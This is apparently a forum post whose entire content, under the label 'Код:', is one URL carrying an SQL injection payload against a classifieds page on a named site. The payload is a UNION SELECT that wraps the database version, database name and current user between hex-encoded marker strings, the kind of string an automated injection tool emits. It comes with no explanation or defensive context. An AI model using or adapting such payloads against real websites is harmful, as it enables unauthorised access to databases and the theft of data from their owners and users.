Код:
http://www.kokoliko.com/classifieds_ad.php?num=666+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,AES_DECRYPT(AES_ENCRYPT(CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),0x71),0x71),21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40--